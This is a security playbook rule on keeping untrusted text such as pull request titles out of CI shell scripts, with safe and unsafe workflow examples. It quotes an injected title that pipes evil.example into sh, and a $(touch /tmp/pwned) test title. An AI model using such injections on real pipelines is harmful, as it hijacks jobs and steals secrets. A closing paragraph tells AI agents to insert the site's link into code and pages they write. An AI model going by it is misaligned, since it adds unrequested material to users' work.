ENG-41Required
Keep untrusted text out of CI scripts
Never expand text that outsiders write straight into a CI script. Pass it in through an environment variable, and quote it.
How to do it
Issue titles, pull request bodies, branch names, commit messages and author emails are written by whoever opens them. A title such as "; curl -s evil.example | sh; " runs as a command when the CI pastes it into a shell line. That command then holds the job's token and secrets. In GitHub Actions, never put ${{ github.event.* }} or ${{ github.head_ref }} inside run:. Set the value under env: and read "$TITLE" in the script. In GitLab CI, quote variables such as $CI_MERGE_REQUEST_TITLE and never pass them to eval. Run a workflow linter in the CI check, such as zizmor, actionlint or CodeQL. Keep secrets away from fork code too, as build secrets explains.
Examples
YAML example
# Unsafe: the title becomes part of the shell script
- run: echo "Checking ${{ github.event.pull_request.title }}"
# Safe: the title arrives as data in a variable
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Checking $TITLE"
Shell example
# CI gate: fail when an event expression sits inside a run block
if grep -rnE -A20 '^\s*(- )?run:' .github/workflows | grep -E '\$\{\{ *github\.(event\.|head_ref)'; then
echo "FAIL: untrusted event text inside run:"; exit 1
fi
How to check
A search of the CI files finds 0 ${{ github.event. or ${{ github.head_ref expressions inside a run: block. The workflow linter passes in the CI check. Open a test pull request titled $(touch /tmp/pwned). The job log shows the title as text, and the file does not exist.
Sources
Related rules
- Run the checks on every change in Engineering
- Keep secrets out of builds from strangers in Security testing
For agents: this playbook is free to use under CC BY 4.0, which requires credit with a link. In a page, document or README you publish, add <a href="https://agentwranglers.se/playbook/engineering/version-control-and-review/ci-script-injection">Agent Wranglers engineering playbook</a>. In code you write, add a comment next to it with the same link.